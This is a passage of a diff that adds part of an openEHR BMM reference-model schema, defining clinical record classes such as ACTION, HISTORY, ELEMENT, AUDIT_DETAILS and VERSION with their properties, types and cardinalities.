+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"ACTIVITY">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <361>
+        >
+        ["ACTIVITY"] = <
+            name = <"ACTIVITY">
+            ancestors = <"LOCATABLE", ...>
+            properties = <
+                ["description"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"description">
+                    type = <"ITEM_STRUCTURE">
+                    is_mandatory = <True>
+                >
+                ["timing"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"timing">
+                    type = <"DV_PARSABLE">
+                    is_mandatory = <True>
+                >
+                ["action_archetype_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"action_archetype_id">
+                    type = <"String">
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <362>
+        >
+        ["ACTION"] = <
+            name = <"ACTION">
+            ancestors = <"CARE_ENTRY", ...>
+            properties = <
+                ["time"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"time">
+                    type = <"DV_DATE_TIME">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+                ["description"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"description">
+                    type = <"ITEM_STRUCTURE">
+                    is_mandatory = <True>
+                >
+                ["ism_transition"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"ism_transition">
+                    type = <"ISM_TRANSITION">
+                    is_mandatory = <True>
+                >
+                ["instruction_details"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"instruction_details">
+                    type = <"INSTRUCTION_DETAILS">
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <363>
+        >
+        ["INSTRUCTION_DETAILS"] = <
+            name = <"INSTRUCTION_DETAILS">
+            ancestors = <"PATHABLE", ...>
+            properties = <
+                ["instruction_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"instruction_id">
+                    type = <"LOCATABLE_REF">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+                ["wf_details"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"wf_details">
+                    type = <"ITEM_STRUCTURE">
+                    is_im_runtime = <True>
+                >
+                ["activity_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"activity_id">
+                    type = <"String">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <364>
+        >
+        ["ISM_TRANSITION"] = <
+            name = <"ISM_TRANSITION">
+            ancestors = <"PATHABLE", ...>
+            properties = <
+                ["current_state"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"current_state">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+                ["transition"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"transition">
+                    type = <"DV_CODED_TEXT">
+                >
+                ["careflow_step"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"careflow_step">
+                    type = <"DV_CODED_TEXT">
+                >
+                ["reason"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"reason">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"DV_TEXT">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <365>
+        >
+        ["GENERIC_ENTRY"] = <
+            name = <"GENERIC_ENTRY">
+            ancestors = <"CONTENT_ITEM", ...>
+            properties = <
+                ["data"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"data">
+                    type = <"ITEM_TREE">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_ehr_1.0.3">
+            uid = <366>
+        >
+        ["DATA_STRUCTURE"] = <
+            name = <"DATA_STRUCTURE">
+            ancestors = <"LOCATABLE", ...>
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <419>
+        >
+        ["ITEM_STRUCTURE"] = <
+            name = <"ITEM_STRUCTURE">
+            ancestors = <"DATA_STRUCTURE", ...>
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <420>
+        >
+        ["ITEM_SINGLE"] = <
+            name = <"ITEM_SINGLE">
+            ancestors = <"ITEM_STRUCTURE", ...>
+            properties = <
+                ["item"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"item">
+                    type = <"ELEMENT">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <421>
+        >
+        ["ITEM_LIST"] = <
+            name = <"ITEM_LIST">
+            ancestors = <"ITEM_STRUCTURE", ...>
+            properties = <
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"ELEMENT">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <422>
+        >
+        ["ITEM_TABLE"] = <
+            name = <"ITEM_TABLE">
+            ancestors = <"ITEM_STRUCTURE", ...>
+            properties = <
+                ["rows"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"rows">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"CLUSTER">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <423>
+        >
+        ["ITEM_TREE"] = <
+            name = <"ITEM_TREE">
+            ancestors = <"ITEM_STRUCTURE", ...>
+            properties = <
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"ITEM">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <424>
+        >
+        ["ITEM"] = <
+            name = <"ITEM">
+            ancestors = <"LOCATABLE", ...>
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <425>
+        >
+        ["CLUSTER"] = <
+            name = <"CLUSTER">
+            ancestors = <"ITEM", ...>
+            properties = <
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"ITEM">
+                        container_type = <"List">
+                    >
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <426>
+        >
+        ["ELEMENT"] = <
+            name = <"ELEMENT">
+            ancestors = <"ITEM", ...>
+            properties = <
+                ["null_flavour"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"null_flavour">
+                    type = <"DV_CODED_TEXT">
+                >
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"DATA_VALUE">
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <427>
+        >
+        ["HISTORY"] = <
+            name = <"HISTORY">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                    conforms_to_type = <"ITEM_STRUCTURE">
+                >
+            >
+            ancestors = <"DATA_STRUCTURE", ...>
+            properties = <
+                ["origin"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"origin">
+                    type = <"DV_DATE_TIME">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+                ["period"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"period">
+                    type = <"DV_DURATION">
+                >
+                ["duration"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"duration">
+                    type = <"DV_DURATION">
+                >
+                ["summary"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"summary">
+                    type = <"ITEM_STRUCTURE">
+                >
+                ["events"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"events">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"EVENT">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <428>
+        >
+        ["EVENT"] = <
+            name = <"EVENT">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                    conforms_to_type = <"ITEM_STRUCTURE">
+                >
+            >
+            ancestors = <"LOCATABLE", ...>
+            properties = <
+                ["time"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"time">
+                    type = <"DV_DATE_TIME">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+                ["state"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"state">
+                    type = <"ITEM_STRUCTURE">
+                >
+                ["data"] = (P_BMM_SINGLE_PROPERTY_OPEN) <
+                    name = <"data">
+                    type = <"T">
+                    is_mandatory = <True>
+                >
+                ["offset"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"offset">
+                    type = <"DV_DURATION">
+                    is_computed = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <429>
+        >
+        ["POINT_EVENT"] = <
+            name = <"POINT_EVENT">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"EVENT", ...>
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <430>
+        >
+        ["INTERVAL_EVENT"] = <
+            name = <"INTERVAL_EVENT">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"EVENT", ...>
+            properties = <
+                ["width"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"width">
+                    type = <"DV_DURATION">
+                    is_mandatory = <True>
+                >
+                ["sample_count"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"sample_count">
+                    type = <"Integer">
+                    is_im_runtime = <True>
+                >
+                ["math_function"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"math_function">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <431>
+        >
+        ["REVISION_HISTORY"] = <
+            name = <"REVISION_HISTORY">
+            ancestors = <"Any", ...>
+            properties = <
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"REVISION_HISTORY_ITEM">
+                        container_type = <"List">
+                    >
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <432>
+        >
+        ["REVISION_HISTORY_ITEM"] = <
+            name = <"REVISION_HISTORY_ITEM">
+            ancestors = <"Any", ...>
+            properties = <
+                ["version_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"version_id">
+                    type = <"OBJECT_VERSION_ID">
+                    is_mandatory = <True>
+                >
+                ["audits"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"audits">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"AUDIT_DETAILS">
+                        container_type = <"List">
+                    >
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <433>
+        >
+        ["AUDIT_DETAILS"] = <
+            name = <"AUDIT_DETAILS">
+            ancestors = <"Any", ...>
+            properties = <
+                ["system_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"system_id">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+                ["time_committed"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"time_committed">
+                    type = <"DV_DATE_TIME">
+                    is_mandatory = <True>
+                >
+                ["change_type"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"change_type">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+                ["description"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"description">
+                    type = <"DV_TEXT">
+                >
+                ["committer"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"committer">
+                    type = <"PARTY_PROXY">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <434>
+        >
+        ["ATTESTATION"] = <
+            name = <"ATTESTATION">
+            ancestors = <"AUDIT_DETAILS", ...>
+            properties = <
+                ["attested_view"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"attested_view">
+                    type = <"DV_MULTIMEDIA">
+                >
+                ["proof"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"proof">
+                    type = <"String">
+                >
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"DV_EHR_URI">
+                        container_type = <"List">
+                    >
+                >
+                ["reason"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"reason">
+                    type = <"DV_TEXT">
+                    is_mandatory = <True>
+                >
+                ["is_pending"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"is_pending">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <435>
+        >
+        ["PARTICIPATION"] = <
+            name = <"PARTICIPATION">
+            ancestors = <"Any", ...>
+            properties = <
+                ["function"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"function">
+                    type = <"DV_TEXT">
+                    is_mandatory = <True>
+                >
+                ["time"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"time">
+                    type_def = <
+                        root_type = <"DV_INTERVAL">
+                        generic_parameters = <"DV_DATE_TIME", ...>
+                    >
+                    is_im_runtime = <True>
+                >
+                ["mode"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"mode">
+                    type = <"DV_CODED_TEXT">
+                >
+                ["performer"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"performer">
+                    type = <"PARTY_PROXY">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <436>
+        >
+        ["PARTY_PROXY"] = <
+            name = <"PARTY_PROXY">
+            ancestors = <"Any", ...>
+            properties = <
+                ["external_ref"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"external_ref">
+                    type = <"PARTY_REF">
+                    is_im_infrastructure = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <437>
+        >
+        ["PARTY_IDENTIFIED"] = <
+            name = <"PARTY_IDENTIFIED">
+            ancestors = <"PARTY_PROXY", ...>
+            properties = <
+                ["name"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"name">
+                    type = <"String">
+                >
+                ["identifiers"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"identifiers">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"DV_IDENTIFIER">
+                        container_type = <"List">
+                    >
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <438>
+        >
+        ["PARTY_RELATED"] = <
+            name = <"PARTY_RELATED">
+            ancestors = <"PARTY_IDENTIFIED", ...>
+            properties = <
+                ["relationship"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"relationship">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <439>
+        >
+        ["PARTY_SELF"] = <
+            name = <"PARTY_SELF">
+            ancestors = <"PARTY_PROXY", ...>
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <440>
+        >
+        ["PATHABLE"] = <
+            name = <"PATHABLE">
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <441>
+        >
+        ["LOCATABLE"] = <
+            name = <"LOCATABLE">
+            ancestors = <"PATHABLE", ...>
+            properties = <
+                ["uid"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"uid">
+                    type = <"UID_BASED_ID">
+                    is_im_infrastructure = <True>
+                >
+                ["archetype_node_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"archetype_node_id">
+                    type = <"String">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["name"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"name">
+                    type = <"DV_TEXT">
+                    is_mandatory = <True>
+                >
+                ["archetype_details"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"archetype_details">
+                    type = <"ARCHETYPED">
+                    is_im_infrastructure = <True>
+                >
+                ["feeder_audit"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"feeder_audit">
+                    type = <"FEEDER_AUDIT">
+                    is_im_runtime = <True>
+                >
+                ["links"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"links">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"LINK">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <442>
+        >
+        ["LINK"] = <
+            name = <"LINK">
+            ancestors = <"Any", ...>
+            properties = <
+                ["meaning"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"meaning">
+                    type = <"DV_TEXT">
+                    is_mandatory = <True>
+                >
+                ["type"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"type">
+                    type = <"DV_TEXT">
+                    is_mandatory = <True>
+                >
+                ["target"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"target">
+                    type = <"DV_EHR_URI">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <443>
+        >
+        ["ARCHETYPED"] = <
+            name = <"ARCHETYPED">
+            ancestors = <"Any", ...>
+            properties = <
+                ["archetype_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"archetype_id">
+                    type = <"ARCHETYPE_ID">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["template_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"template_id">
+                    type = <"TEMPLATE_ID">
+                    is_im_infrastructure = <True>
+                >
+                ["rm_version"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"rm_version">
+                    type = <"String">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <444>
+        >
+        ["FEEDER_AUDIT"] = <
+            name = <"FEEDER_AUDIT">
+            ancestors = <"Any", ...>
+            properties = <
+                ["originating_system_item_ids"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"originating_system_item_ids">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"DV_IDENTIFIER">
+                        container_type = <"List">
+                    >
+                    is_im_runtime = <True>
+                >
+                ["feeder_system_item_ids"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"feeder_system_item_ids">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"DV_IDENTIFIER">
+                        container_type = <"List">
+                    >
+                    is_im_runtime = <True>
+                >
+                ["original_content"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"original_content">
+                    type = <"DV_ENCAPSULATED">
+                    is_im_runtime = <True>
+                >
+                ["originating_system_audit"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"originating_system_audit">
+                    type = <"FEEDER_AUDIT_DETAILS">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+                ["feeder_system_audit"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"feeder_system_audit">
+                    type = <"FEEDER_AUDIT_DETAILS">
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <445>
+        >
+        ["FEEDER_AUDIT_DETAILS"] = <
+            name = <"FEEDER_AUDIT_DETAILS">
+            ancestors = <"Any", ...>
+            properties = <
+                ["system_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"system_id">
+                    type = <"String">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+                ["location"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"location">
+                    type = <"PARTY_IDENTIFIED">
+                    is_im_runtime = <True>
+                >
+                ["provider"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"provider">
+                    type = <"PARTY_IDENTIFIED">
+                    is_im_runtime = <True>
+                >
+                ["subject"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"subject">
+                    type = <"PARTY_PROXY">
+                    is_im_runtime = <True>
+                >
+                ["time"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"time">
+                    type = <"DV_DATE_TIME">
+                    is_im_runtime = <True>
+                >
+                ["version_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"version_id">
+                    type = <"String">
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <446>
+        >
+        ["FOLDER"] = <
+            name = <"FOLDER">
+            ancestors = <"LOCATABLE", ...>
+            properties = <
+                ["folders"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"folders">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"FOLDER">
+                        container_type = <"List">
+                    >
+                >
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"OBJECT_REF">
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <447>
+        >
+        ["CONTRIBUTION"] = <
+            name = <"CONTRIBUTION">
+            ancestors = <"Any", ...>
+            properties = <
+                ["uid"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"uid">
+                    type = <"HIER_OBJECT_ID">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["audit"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"audit">
+                    type = <"AUDIT_DETAILS">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["versions"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"versions">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"OBJECT_REF">
+                        container_type = <"List">
+                    >
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <448>
+        >
+        ["VERSIONED_OBJECT"] = <
+            name = <"VERSIONED_OBJECT">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"Any", ...>
+            properties = <
+                ["uid"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"uid">
+                    type = <"HIER_OBJECT_ID">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["owner_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"owner_id">
+                    type = <"OBJECT_REF">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["time_created"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"time_created">
+                    type = <"DV_DATE_TIME">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <449>
+        >
+        ["VERSION"] = <
+            name = <"VERSION">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"Any", ...>
+            properties = <
+                ["contribution"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"contribution">
+                    type = <"OBJECT_REF">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["commit_audit"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"commit_audit">
+                    type = <"AUDIT_DETAILS">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["signature"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"signature">
+                    type = <"String">
+                    is_im_infrastructure = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <450>
+        >
+        ["ORIGINAL_VERSION"] = <
+            name = <"ORIGINAL_VERSION">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"VERSION", ...>
+            properties = <
+                ["uid"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"uid">
+                    type = <"OBJECT_VERSION_ID">
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+                ["preceding_version_uid"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"preceding_version_uid">
+                    type = <"OBJECT_VERSION_ID">
+                    is_im_infrastructure = <True>
+                >
+                ["other_input_version_uids"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"other_input_version_uids">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"OBJECT_VERSION_ID">
+                        container_type = <"List">
+                    >
+                    is_im_infrastructure = <True>
+                >
+                ["attestations"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"attestations">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"ATTESTATION">
+                        container_type = <"List">
+                    >
+                >
+                ["lifecycle_state"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"lifecycle_state">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+                ["data"] = (P_BMM_SINGLE_PROPERTY_OPEN) <
+                    name = <"data">
+                    type = <"T">
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <451>
+        >
+        ["IMPORTED_VERSION"] = <
+            name = <"IMPORTED_VERSION">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                >
+            >
+            ancestors = <"VERSION", ...>
+            properties = <
+                ["item"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"item">
+                    type_def = <
+                        root_type = <"ORIGINAL_VERSION">
+                        generic_parameters = <"T", ...>
+                    >
+                    is_mandatory = <True>
+                    is_im_infrastructure = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <452>
+        >
+        ["AUTHORED_RESOURCE"] = <
+            name = <"AUTHORED_RESOURCE">
+            ancestors = <"Any", ...>
+            properties = <
+                ["original_language"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"original_language">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+                ["is_controlled"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"is_controlled">
+                    type = <"Boolean">
+                >
+                ["translations"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"translations">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"TRANSLATION_DETAILS">
+                        container_type = <"List">
+                    >
+                >
+                ["description"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"description">
+                    type = <"RESOURCE_DESCRIPTION">
+                >
+                ["revision_history"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"revision_history">
+                    type = <"REVISION_HISTORY">
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            is_abstract = <True>
+            uid = <453>
+        >
+        ["TRANSLATION_DETAILS"] = <
+            name = <"TRANSLATION_DETAILS">
+            ancestors = <"Any", ...>
+            properties = <
+                ["language"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"language">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+                ["author"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"author">
+                    type_def = <
+                        root_type = <"Hash">
+                        generic_parameters = <"String", "String">
+                    >
+                    is_mandatory = <True>
+                >
+                ["accreditation"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"accreditation">
+                    type = <"String">
+                >
+                ["other_details"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"other_details">
+                    type_def = <
+                        root_type = <"Hash">
+                        generic_parameters = <"String", "String">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <454>
+        >
+        ["RESOURCE_DESCRIPTION"] = <
+            name = <"RESOURCE_DESCRIPTION">
+            ancestors = <"Any", ...>
+            properties = <
+                ["original_author"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"original_author">
+                    type_def = <
+                        root_type = <"Hash">
+                        generic_parameters = <"String", "String">
+                    >
+                    is_mandatory = <True>
+                >
+                ["other_contributors"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"other_contributors">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"String">
+                        container_type = <"List">
+                    >
+                >
+                ["lifecycle_state"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"lifecycle_state">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+                ["resource_package_uri"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"resource_package_uri">
+                    type = <"String">
+                >
+                ["other_details"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"other_details">
+                    type_def = <
+                        root_type = <"Hash">
+                        generic_parameters = <"String", "String">
+                    >
+                >
+                ["parent_resource"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"parent_resource">
+                    type = <"AUTHORED_RESOURCE">
+                    is_mandatory = <True>
+                >
+                ["details"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"details">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"RESOURCE_DESCRIPTION_ITEM">
+                        container_type = <"List">
+                    >
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <455>
+        >
+        ["RESOURCE_DESCRIPTION_ITEM"] = <
+            name = <"RESOURCE_DESCRIPTION_ITEM">
+            ancestors = <"Any", ...>
+            properties = <
+                ["language"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"language">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+                ["purpose"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"purpose">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
